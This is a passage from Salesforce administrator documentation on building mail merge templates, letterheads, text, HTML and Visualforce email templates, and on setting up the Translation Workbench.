Mail merge templates define the content of a form letter or other mail merge document. They include variables called merge fields where data from your recordsfor example a contact's name and addressdisplays in the generated document. As an administrator, you are responsible for building mail merge templates in Microsoft Word and uploading them to Salesforce to make them available for your users. See the following topics: Creating New Mail Merge Templates explains how to build a new mail merge template from a blank Word document.

429

Divisions

Managing Mail Merge Templates

Modifying Existing Mail Merge Templates explains how to download sample templates and modify them to meet your unique business needs. Uploading Mail Merge Templates to Salesforce explains how to upload completed mail merge templates to Salesforce. Tip: Click the following link to download a Zip file of sample mail merge templates: mm_templates.zip

See Also:
Mail Merge Overview Sending Single Mail Merge Documents

Creating New Mail Merge Templates


Available in: All Editions except Database.com

User Permissions Needed To upload mail merge templates: To edit mail merge templates: Manage Public Templates Manage Public Templates

1. Open a new blank document in Microsoft Word 2002, 2003, or 2007. 2. Use Word to compose the document so it contains the text, data, and formatting your users require. 3. Locate the text or data variables in your Word document that will change each time the template is used. For example, in the salutation Dear Bob, Bob is a variable because it will change when the letter is sent to a different person. 4. Replace each variable with the appropriate Salesforce merge field. Important: Each mail merge field label you use must be unique. If you have Connect for Office, you can use Word integration to insert merge fields quickly. If you do not have Connect for Office: a. Place your cursor where you want to insert a merge field. b. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert tab on the Ribbon, click Quick Parts in the Text group, and then click Field. c. Select Mail Merge in the Categories drop-down list. d. Select MergeField in the Field names box. e. In the Field Properties area of the Field name box, manually enter the valid Salesforce merge field, such as Opportunity_LineItem_ProductName. f. Click OK.

430

Divisions

Managing Mail Merge Templates

Note: To list information about all products associated with an opportunity, insert the Opportunity_LineItem_Start merge field where you want to begin listing product information. Then, insert all the merge fields you want to include for each product on an opportunity. Finally, insert the Opportunity_LineItem_End to end the list. 5. Save your Word document. 6. Proceed to Uploading Mail Merge Templates to Salesforce on page 432. Tip: For best results: Do not configure mail merge templates as protected or restricted access in Microsoft Word. Please refer to Word's help for information about protected Word documents. (In Word, press F1 to open help.) Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please refer to Word's help for information about restoring mail merge documents to what Word calls normal Word documents. For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge Templates.

See Also:
Managing Mail Merge Templates Mail Merge Overview Force.com Connect for Microsoft Office Overview

Modifying Existing Mail Merge Templates


Available in: All Editions except Database.com

User Permissions Needed To upload mail merge templates: To edit mail merge templates: Manage Public Templates Manage Public Templates

1. 2. 3. 4.

Download the sample mail merge templates and unzip the files to a convenient directory on your hard drive. Review the instructions provided in salesforce_mailmerge_templates_howto.doc. Open the desired sample template in Microsoft Word. Save a copy of the sample template to your computer's desktop or other convenient location: Word 2000, XP, and 2003 users, select Save As from the File menu then choose an appropriate file name and destination folder. Word 2007 users, select Save As from the Office button then choose an appropriate file name and destination folder.

5. Optionally, customize the text and formatting of the template.

431

Divisions

Managing Mail Merge Templates

6. Press ALT+F9 to display the hidden mail merge field codes. Each of the mail merge fields should now appear in curly braces as follows: {MERGEFIELD Contact_FullName \*
MERGEFORMAT}

7. Change or add merge fields as necessary. If you have Connect for Office, you can use Word integration to insert merge fields quickly. If you do not have Connect for Office: a. Place your cursor where you want to insert a merge field. b. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert tab on the Ribbon, click Quick Parts in the Text group, and then click Field. c. Select Mail Merge in the Categories drop-down list. d. Select MergeField in the Field names box. e. In the Field Properties area of the Field name box, manually enter the valid Salesforce merge field, such as Opportunity_LineItem_ProductName. f. Click OK. Note: To list information about all products associated with an opportunity, insert the Opportunity_LineItem_Start merge field where you want to begin listing product information. Then, insert all the merge fields you want to include for each product on an opportunity. Finally, insert the Opportunity_LineItem_End to end the list. 8. Save your Word document. 9. Proceed to Uploading Mail Merge Templates to Salesforce on page 432. Tip: For best results: Do not configure mail merge templates as protected or restricted access in Microsoft Word. Please refer to Word's help for information about protected Word documents. (In Word, press F1 to open help.) Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please refer to Word's help for information about restoring mail merge documents to what Word calls normal Word documents. For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge Templates.

See Also:
Managing Mail Merge Templates Merge Fields Overview Mail Merge Overview Force.com Connect for Microsoft Office Overview

Uploading Mail Merge Templates to Salesforce

432

Divisions

Using Letterheads

Available in: All Editions except Database.com

User Permissions Needed To upload mail merge templates: To edit mail merge templates: Manage Public Templates Manage Public Templates

Administrators and users with the Manage Public Templates permission must upload completed Microsoft Word mail merge templates to Salesforce to make them available for use. Tip: Before uploading a template, we recommend reviewing Guidelines for Uploading Mail Merge Templates.

1. In Salesforce, click Your Name > Setup > Communication Templates > Mail Merge Templates. 2. Click New Template. 3. Enter a name and description for the template. This will help users correctly choose a template when generating mail merge documents. If your organization uses Extended Mail Merge, choose the appropriate document type: Document, Label, or Envelope. Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in this feature. 4. Click Browse to select your Word mail merge template. 5. Click Save to finish.

See Also:
Managing Mail Merge Templates Merge Fields Overview Mail Merge Overview

Using Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change letterheads: Manage Letterheads

A letterhead defines the logo, page color, and text settings for your HTML email templates. For best results, create a single letterhead to use for all your HTML email templates. You can create letterheads and make them available organization-wide. To use letterheads, click Your Name > Setup > Communication Templates > Letterheads.

433

Divisions

Using Letterheads

From the Letterheads list page: To view a letterhead, select the name from the list. To edit a letterhead, click the name from the list and choose one of the edit options: Edit Properties or Edit Letterhead. To delete a letterhead, click Del next to the name. You cannot delete a letterhead that is used in any HTML email templates.

See Also:
Creating Letterheads Letterhead Fields

Creating Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change letterheads: Manage Letterheads

Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo, color, and text settings from a letterhead. A letterhead consists of properties and details. The properties are only visible inside your organization; they help users identify a letterhead. The details are applied to an email when using that letterhead. Use the letterhead wizard to create both the properties and details of your letterhead. 1. Click Your Name > Setup > Communication Templates > Letterheads. 2. Click New Letterhead.

Setting Letterhead Properties


1. Check Available For Use if you would like users to be able to use the new letterhead immediately. 2. Enter a Letterhead Label. The label is used to refer to the letterhead on user interface pages. 3. If necessary, change the Letterhead Unique Name. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Letterhead Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. 4. Enter a description for this letterhead. The name and description fields are for internal use only to describe the letterhead to other users. 5. Click Save. The letterhead detail page appears.

Setting Letterhead Details


1. Set the attributes for the letterhead. Click Edit Background Color, and enter a color for the background of your letterhead. Click the color picker button to choose a color.

434

Divisions

Using Letterheads

Click Edit Header Properties, and select the color, alignment, and height for the top section of the letterhead. Click Select Logo to include an image of your company logo in the top or bottom section of the letterhead. To select an image, choose a folder, and click the document name to attach the document. Alternatively, click Search in Documents, and enter the file name to search for documents by name. Make sure the document you select is marked as Externally Available on the Documents tab so that a user who does not have a Salesforce username and password can view the image when it is received in an email. Click Remove Logo to delete the image from the letterhead. Click Edit Top Line, and enter a color and height for a horizontal line below the header. Click the color picker button to choose a color. Click Edit Body Colors, and enter the background color for the main body of your letterhead. Click Edit Middle Line, and enter a color and height for the middle border in your letterhead. Click the color picker button to choose a color. Click Edit Footer Properties, and select a color, alignment, and height for the bottom section of the letterhead. Click Edit Bottom Line, and select a color and height of a bottom horizontal line. Click the color picker button to choose a color.

2. Optionally, click Preview to display the letterhead in a separate browser window. 3. Click Save. To create an HTML email template that contains the settings in your letterhead, see Creating HTML Email Templates on page 440.

See Also:
Managing Email Templates Creating Custom HTML Email Templates

Letterhead Fields
Here is a description, in alphabetical order, of the fields that appear on the Letterhead Detail page. Field
Available For Use

Description Check mark that indicates the letterhead can be applied to an HTML template. Name of the user who created the letterhead, including the date and time. Text that helps distinguish this letterhead from others. Internal name to identify the letterhead. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.

Created By

Description Letterhead Label Letterhead Unique Name

435

Divisions

Managing Email Templates

Field

Description With the Letterhead Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization.

Modified By

Name of the user who last modified the letterhead, including the date and time. The namespace prefix used by the email template within the API.

Namespace Prefix

See Also:
Creating Letterheads

Managing Email Templates


Available in: All Editions Mass email not available in: Personal, Contact Manager, and Group Editions HTML and Visualforce email templates not available in: Personal Edition Not Available in Database.com

User Permissions Needed To create or change HTML email templates: To create or change Visualforce email templates: To create or change public email template folders: Edit HTML Templates Customize Application Manage Public Templates

You can create four different types of email templates: Text - All users can create or change text email templates. See Creating Text Email Templates on page 439. HTML with letterhead - Administrators and users with the Edit HTML Templates permission can create HTML email templates based on a letterhead. See Creating HTML Email Templates on page 440. Custom HTML - Administrators and users with the Edit HTML Templates permission can create custom HTML email templates without using a letterhead. You must either know HTML or obtain the HTML code to insert in your email template. See Creating Custom HTML Email Templates on page 446. Visualforce - Administrators and developers can create templates using Visualforce. Visualforce email templates allow for advanced merging with a recipient's data, where the content of a template can contain information from multiple records, see Creating Visualforce Email Templates.

All of these email templates can include text, merge fields, and attached files. You can also include images on your HTML and Visualforce templates. You can use email templates when you send an email from the Activity History related list of a

436

Divisions

Managing Email Templates

record. Text and HTML templates can also be used when you send mass email. A button to check the spelling of your template is available for text templates and Visualforce templates without HTML tags. Note: You cant send a mass email using a Visualforce email template.

To manage your personal email templates, click Your Name > Setup > Email > My Templates. If you have permission to manage public email templates, click Your Name > Setup > Communication Templates > Email Templates. Click on the name of any email template to go to the Viewing Email Templates page. To edit or delete a template, click Edit or Del next to the template name in the list. Click New Template to create any type of email template. Note: Email templates used in the following features must be both public and active: Web-to-Lead Web-to-Case Email-to-Case or On-Demand Email-to-Case Assignment rules Escalation rules Auto-response rules

See Also:
Cloning Email Templates Using Letterheads Developer's Guide: Visualforce Developer's Guide Administrator tip sheet: Tips for Using HTML Email Templates

Viewing Email Templates

437

Divisions

Managing Email Templates

Available in: All Editions Mass email not available in: Personal, Contact Manager, and Group Editions HTML and Visualforce email templates not available in: Personal Edition Not Available in Database.com

User Permissions Needed To create or change HTML email templates: To create or change Visualforce email templates: To create or change public email template folders: Edit HTML Templates Customize Application Manage Public Templates

To view a template, click the template name in the list. The options vary depending on the template type (custom, HTML, Visualforce, or text): For text templates, click Edit to change the message content, subject, or merge fields. For custom and HTML templates: Click Edit HTML Version to change the content or merge fields of the HTML version. Note: All custom and HTML email templates include a text-only version for recipients who are unable to view HTML emails. If you leave the text-only version blank, the text-only version is automatically generated when you edit the HTML version. Click Edit Text Version to change the content or merge fields of the text-only version. Caution: Salesforce.com recommends that you leave the text-only version blank. If you leave it blank, Salesforce automatically creates the text-only content based on the current HTML version. If you don't leave the text-only version blank and instead manually enter content, subsequent edits to the HTML version aren't reflected in the text-only version. For Visualforce templates: Click Edit Template to change the markup of the template page. The Visualforce Attachments related list indicates which attachments are being generated through Visualforce markup. If the Visualforce markup references components in installed managed packages, such as another class, a trigger, a custom object, and so on, the Version Settings related list shows the package versions of the installed managed packages containing the referenced components. Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose and send a test email. Click Attach File from the Attachments related list to add an attachment to the template. The attached file is included in every email that uses the template. To select a file:

438

Divisions

Managing Email Templates

Click the Search in Documents link to search for files in the Documents tab. If you select an image logo or other graphic file, make sure the document is marked as Externally Available on the Documents tab so all email recipients can view the image. Alternatively, choose an option from the File Location drop-down list to select a file from your computer or from a document folder. If you have the Manage Public Templates permission, you can click [Change] next to the Author field to select a different author. Initially, the author is the person who created the email template. Click Delete to remove the template. Click Clone to clone a template. For more information, see Cloning Email Templates on page 447. If Developer Mode is enabled, click Show Dependencies to see what components the template references. For more information, see Understanding Dependencies on page 1801.

See Also:
Managing Email Templates Email Template Fields Managing Version Settings for Visualforce Email Templates

Creating Text Email Templates


To create a text email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click New Template. 3. Choose the Text template type, and click Next. 4. Choose a folder in which to store the template. 5. Select the Available For Use checkbox if you would like this template offered to users when sending an email. 6. Enter an Email Template Name. 7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. 8. Select an Encoding setting to determine the character set for the template. 9. Enter a Description for the template. Both template name and description are for internal use only. 10. Enter the Subject for the message. 11. Enter the text to appear in the message. 12. Optionally, enter merge fields in the template subject and text body. These fields will be replaced with information from your records when you send an email. For details about using merge fields, see Merge Fields Overview on page 426. 13. Click Save.

439

Divisions

Managing Email Templates

Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose and send a test email.

Attaching Files to Templates


To add an attachment to a template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Select a template. 3. Click Attach File from the email template detail page. 4. Choose a folder and click the document name to attach the document, or click Search in Documents and enter the file name to search for a document by name. Alternatively, click My Computer to attach a file from your computer. The attached file is included in every email that uses the template. Note that attachments in mass emails are sent as links rather than as physical files (see Sending Mass Email on page 234).

See Also:
Managing Email Templates Creating HTML Email Templates Creating Custom HTML Email Templates Creating Visualforce Email Templates Cloning Email Templates

Creating HTML Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Mass email not available in: Personal, Contact Manager, and Group Editions

User Permissions Needed To create or change HTML email templates: To create or change public email template folders: Edit HTML Templates Manage Public Templates

To create an HTML email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click New Template. 3. Choose HTML (using Letterhead) and click Next. 4. Choose a folder in which to store the template. 5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.

440

Divisions

Managing Email Templates

6. Enter an Email Template Name. 7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. 8. Select a Letterhead. The letterhead decides the logo, page color, and text settings of your email. 9. Select the Email Layout. The email layout determines the columns and page layout of the message text. Click View Email Layout Options to see samples. 10. Select an Encoding setting to determine the character set for the template. 11. Enter a Description of the template. Both template name and description are for your internal use only. The description is used as the title of any email activities you log when sending mass email. 12. Click Next. 13. Enter the Subject to appear in the email you send. 14. Enter the text to appear in the message you send. Click any section and begin entering text for your message. To prevent users from editing a section when using this template, click the padlock icon. 15. Change the style of your text by selecting the text and using the format toolbar. See Using the Format Toolbar on page 445 for instructions on the format toolbar. 16. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see Merge Fields Overview on page 426. 17. Click Next. 18. Optionally, enter the text-only version of your email or click Copy text from HTML version to automatically paste the text from your HTML version without the HTML tags. The text-only version is available to recipients who are unable to view HTML emails. Caution: Salesforce.com recommends that you leave the text-only version blank. If you leave it blank, Salesforce automatically creates the text-only content based on the current HTML version. If you don't leave the text-only version blank and instead manually enter content, subsequent edits to the HTML version aren't reflected in the text-only version. 19. Click Save. Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose and send a test email.

See Also:
Creating Text Email Templates Creating Custom HTML Email Templates Creating Visualforce Email Templates Cloning Email Templates Creating Letterheads Adding Images to Email Templates Cloning Email Templates

441

Divisions

Managing Email Templates

Creating Visualforce Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change Visualforce email templates: To create or change public email template folders: Customize Application Manage Public Templates

To create a Visualforce email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click New Template. 3. Choose Visualforce and click Next. You cant send a mass email using a Visualforce email template.. 4. 5. 6. 7. Choose a folder in which to store the template. Select the Available For Use checkbox if you would like this template offered to users when sending an email. Enter an Email Template Name. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. 8. Select an Encoding setting to determine the character set for the template. 9. Enter a Description of the template. Both template name and description are for your internal use only. 10. Enter the subject line for your template in Email Subject. 11. In the Recipient Type drop-down list, select the type of recipient that will receive the email template. 12. In the Related To Type drop-down list, optionally select the object from which the template will retrieve merge field data. 13. Click Save. 14. On the Viewing Email Templates page, click Edit Template. 15. Enter markup text for your Visualforce email template. Note: If you are including an image, we recommend uploading it to the Documents tab so that you can reference the copy of the image that is on our server. For example:
<apex:image id="Logo" value="https://na7.salesforce.com/servlet/servlet.ImageServer? id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800" height="64" width="64"/>

16. Click Version Settings to specify the version of Visualforce and the API used with this email template. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to

442

Divisions

Managing Email Templates

use with this email template. Generally, you should use the default value for all versions. This associates the email template with the most recent version of Visualforce, the API, as well as each managed package. You can specify an older version of Visualforce and the API to maintain specific behavior. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. 17. Click Save to save your changes and view the details of the template, or click Quick Save to save your changes and continue editing your template. Your Visualforce markup must be valid before you can save your template. Note: The maximum size of a Visualforce email template is 1 MB. You cant send a mass email using a Visualforce email template. The merge fields {!Receiving_User.field_name} and {!Sending_User.field_name} work only for mass email and are unavailable in Visualforce email templates. Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose and send a test email. To translate Visualforce email templates based on recipients' or related objects' languages, use the <messaging:emailTemplate> tag's language attribute (valid values: Salesforce supported language keys, for example, en-US). The language attribute accepts merge fields from the email template's recipientType and relatedToType attributes. You create custom language fields for use in the merge fields. The Translation Workbench is required to translate email templates.

See Also:
Visualforce Overview Managing Version Settings for Visualforce Email Templates Adding Images to Email Templates Creating Text Email Templates Creating HTML Email Templates Creating Custom HTML Email Templates Viewing Email Templates Cloning Email Templates Creating Letterheads Cloning Email Templates Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Visualforce Email Templates

443

Divisions

Managing Email Templates

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set version settings for Visualforce email templates: Customize Application

To aid backwards-compatibility, each Visualforce email template is saved with version settings for the specified version of Visualforce and the API. If the Visualforce email template references installed managed packages, the version settings for each managed package referenced by the Visualforce component are saved too. This ensures that as Visualforce, the API and the components in managed packages evolve in subsequent versions, a Visualforce email template is still bound to versions with specific, known behavior. A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber, it is assumed to be zero (0). Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. To set the Salesforce API and Visualforce version for an existing Visualforce email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click the Email Template Name for the Visualforce email template. 3. Click Edit Template and then click Version Settings. 4. Select the Version of the Salesforce API. This is also the version of Visualforce used with this template. 5. Click Save. To configure the package version settings for a Visualforce email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click the Email Template Name for the Visualforce email template. 3. Click Edit Template and then click Version Settings. 4. Select a Version for each managed package referenced by the Visualforce email template. This version of the managed package will continue to be used by the Visualforce email template if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the Visualforce email template. 5. Click Save. Note the following when working with package version settings: If you save a Visualforce email template that references a managed package without specifying a version of the managed package, the Visualforce email template is associated with the latest installed version of the managed package by default.

444

Divisions

Managing Email Templates

You cannot Remove a Visualforce email template's version setting for a managed package if the package is referenced by the Visualforce email template.

See Also:
Creating Visualforce Email Templates Creating Text Email Templates Creating HTML Email Templates Creating Custom HTML Email Templates Viewing Email Templates Cloning Email Templates Cloning Email Templates Developer's Guide: Visualforce Developer's Guide

Using the Format Toolbar


Use the formatting toolbar to edit text in HTML. Select the text you wish to format and click the appropriate option described below: Option Font Size Description Choose a character style. Select the text you want applied to a font and then choose the appropriate font. Choose a character size. Select the text you want applied to the size and then choose the size. Insert a graphic from the documents library. This option is not available when doing some actions such as creating custom home page components. Choose a background color Choose a font color Make text bold Make text italic Underline text Insert a new hyperlink or edit an existing link. Select the text you want to link, click this button, and enter the URL for the link. To use a merge field such as {!Case_Link} as the destination of the link, insert the merge field after the http://. Left justify text Center text Right justify text Bullet a list

445

Divisions

Managing Email Templates

Option

Description Number a list Increase text indent Decrease text indent

Creating Custom HTML Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Mass email not available in: Personal, Contact Manager, and Group Editions

User Permissions Needed To create or change custom HTML email templates: To create or change public email template folders: Edit HTML Templates Manage Public Templates

To create a custom HTML email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click New Template. 3. Choose Custom (without using Letterhead) and click Next. 4. Choose a folder in which to store the template. 5. Select the Available For Use checkbox if you would like this template offered to users when sending an email. 6. Enter an Email Template Name. 7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. 8. Select an Encoding setting to determine the character set for the template. 9. Enter a Description of the template. Both template name and description are for your internal use only. The description is used as the title of any email activities you log when sending mass email. 10. Click Next. 11. Enter the Subject to appear in the email you send. 12. Enter the HTML source text to appear in the message you send. This should include all the HTML tags.

446

Divisions

Managing Email Templates

Note: If you are including an image, we recommend uploading it to the Documents tab so that you can reference the copy of the image that is on our server. For example:
<img src="https://na2.salesforce.com/servlet/servlet.ImageServer? id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo" height="64" width="64"/>

13. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see Merge Fields Overview on page 426. 14. Click Next. 15. Optionally, enter the text-only version of your email or click Copy text from HTML version to automatically paste the text from your HTML version without the HTML tags. The text-only version is available to recipients who are unable to view HTML emails. Caution: Salesforce.com recommends that you leave the text-only version blank. If you leave it blank, Salesforce automatically creates the text-only content based on the current HTML version. If you don't leave the text-only version blank and instead manually enter content, subsequent edits to the HTML version aren't reflected in the text-only version. 16. Click Save. Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose and send a test email. Note: Users cannot modify the content of a custom HTML template when they select it for use in an email.

See Also:
Adding Images to Email Templates Creating Text Email Templates Creating HTML Email Templates Creating Visualforce Email Templates Creating Letterheads Cloning Email Templates

Cloning Email Templates

447

Divisions

Managing Email Templates

Available in: All Editions Mass email not available in: Personal, Contact Manager, and Group Editions HTML and Visualforce email templates not available in: Personal Edition Not Available in Database.com

User Permissions Needed To create or change HTML email templates: To create or change Visualforce email templates: To create or change public email template folders: Edit HTML Templates Customize Application Manage Public Templates

Cloning an email template involves saving an existing email template with a new name. To clone an email template: 1. To manage your personal email templates, click Your Name > Setup > Email > My Templates. If you have permission to manage public email templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click the name of an email template in the list. 3. Click Clone. 4. Choose a folder in which to store the template. 5. Select the Available For Use checkbox if you would like this template offered to users when sending an email. 6. Enter an Email Template Name. 7. Enter a Description for the template. Both template name and description are for internal use only. 8. Click Save.

See Also:
Managing Email Templates Creating HTML Email Templates Creating Text Email Templates Creating Custom HTML Email Templates Creating Visualforce Email Templates

Adding Images to Email Templates

448

Divisions

Managing Email Templates

Available in: All Editions Mass email not available in: Personal, Contact Manager, and Group Editions HTML and Visualforce email templates not available in: Personal Edition Not Available in Database.com

User Permissions Needed To create or change HTML email templates: To create or change Visualforce email templates: To create or change public email template folders: Edit HTML Templates Customize Application Manage Public Templates

You can include images or logos on your HTML and Visualforce email templates. For HTML with letterhead templates, logos or images come from the letterhead you choose when creating the template. When creating custom HTML or Visualforce templates, simply include img tags that reference the image. We recommend uploading the images to the Documents tab and referencing the copy of the image on the Salesforce server. For example, for HTML:
<img src="https://na2.salesforce.com/servlet/servlet.ImageServer? id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo" height="64" width="64"/>

Visualforce example:
<apex:image id="Logo" value="https://na7.salesforce.com/servlet/servlet.ImageServer? id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800" height="64" width="64"/>

See Also:
Creating HTML Email Templates Creating Custom HTML Email Templates Creating Visualforce Email Templates

Email Template Fields


An email template has the following fields, listed in alphabetical order. Field
API Version

Description (Visualforce email templates only) Displays the version number of the Force.com API the template was created under.

449

Divisions

Managing Email Templates

Field
Author Available for Use Created By Description

Description The person who created the template. Indicates if users can use the template when sending emails. The name of the user who created the template. Description of the template. This text is used as the title of any activities logged when sending mass email. The Activity History item displays as Mass Email: {Template Description}. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. (HTML email templates only) Name of the column layout sample that decides the text columns. Indicates the character set for the email template. The place where the template is stored. The most recent date that any user sent an email using the template. (HTML email templates only) Name of the letterhead that decides the logo, colors, and text settings. See Letterhead Fields on page 435 for more details. The name of the user who last modified the template. The namespace prefix used by the email template within the API. Subject of the email. This text appears in the Subject field of every email sent with this template. It is also used as the title of an activity logged when sending a single email. The Activity History item displays as Email: {Template Subject}. The subject is not stored in Activity History items that you log when sending mass email. Name to identify the template. Body of the email. This text appears in the body of every email sent with this template.

Template Unique Name

Email Layout

Encoding Folder Last Used Date

Letterhead

Modified By Namespace Prefix

Subject

Email Template Name Text Body

450

Translation Workbench

Setting Up the Translation Workbench

Field
Times Used

Description The total number of times that users have sent emails using the selected template. This includes single and mass emails.

See Also:
Managing Email Templates

TRANSLATION WORKBENCH
Setting Up the Translation Workbench
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add or edit languages: To assign translators: To export or import translation files To translate terms: Manage Translation Manage Translation Manage Translation View Setup and Configuration AND Be designated as a translator To override terms: View Setup and Configuration AND Customize Application

The Translation Workbench lets you specify languages you want to translate, assign translators to languages, create translations for customizations youve made to your Salesforce organization, and override labels and translations from managed packages. Everything from custom picklist values to custom fields can be translated so your global users can use all of Salesforce in their language. Tip: When creating a custom report type that will be translated into multiple languages via the Translation Workbench, we recommend that your personal language setting matches your organization's default language. This ensures that words that will be translated display in the correct language for translators. For more information, see Editing Your Personal Information on page 30 and Company Information Fields on page 410.

451

Translation Workbench

Setting Up the Translation Workbench

When a customized component is translated, changes to that component are tracked and the Out of Date indicator is set when the translations need updating. You can manage translated values for any of Salesforce supported languages on page 3099. Note: Custom objects are not available in the translation workbench. Use the rename tabs and labels interface or the IDE for custom object translation. Enabling the Translation Workbench makes some changes to your Salesforce organization: Picklist values must be edited individually. This means you cant mass edit existing picklist values, though you can still mass add new values. When picklist values are sorted alphabetically, the values are alphabetical by the organization's default language. Reports have a Language drop down on the filter criteria page when any filter criteria uses the "starts with", "contains", or "does not contain" operators. Import files have a Language drop down and all records and values within the import file must be in that language. Web-to-Lead and Web-to-Case have a Language drop down before you generate the HTML. Note: Salesforce assumes all customizations are entered in the organization's default languageglobal administrators should work together in the organization's default language. To enable the Translation Workbench: 1. Click Your Name > Setup > Translation Workbench > Translation Settings. 2. On the welcome page, click Enable. Note: The Manage Translation permission is enabled by default in the System Administrator profile and can only be edited in a custom profile. If you'd like only certain administrators to enable, disable, or manage the Translation Workbench, you must create a new profile cloned from the System Administrator profile, disable the Manage Translation permission, and assign those administrators you don't want managing the Translation Workbench to the new profile. To disable the Translation Workbench, click Your Name > Setup > Translation Workbench > Translation Settings > Disable. Note: In a Developer organization with a managed package containing translations, once the Translation Workbench is enabled, it can't be disabled.

See Also:
Adding and Editing Translated Languages and Translators Entering Translated Terms Entering Overrides to Translations in Managed Packages Updating Translated Terms Administrator tip sheet: Setting Up the Translation Workbench Localizing with the Force.com IDE Salesforce Globalization Overview

Adding and Editing Translated Languages and Translators

452

Translation Workbench

Adding and Editing Translated Languages and Translators

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add or edit languages: Manage Translation

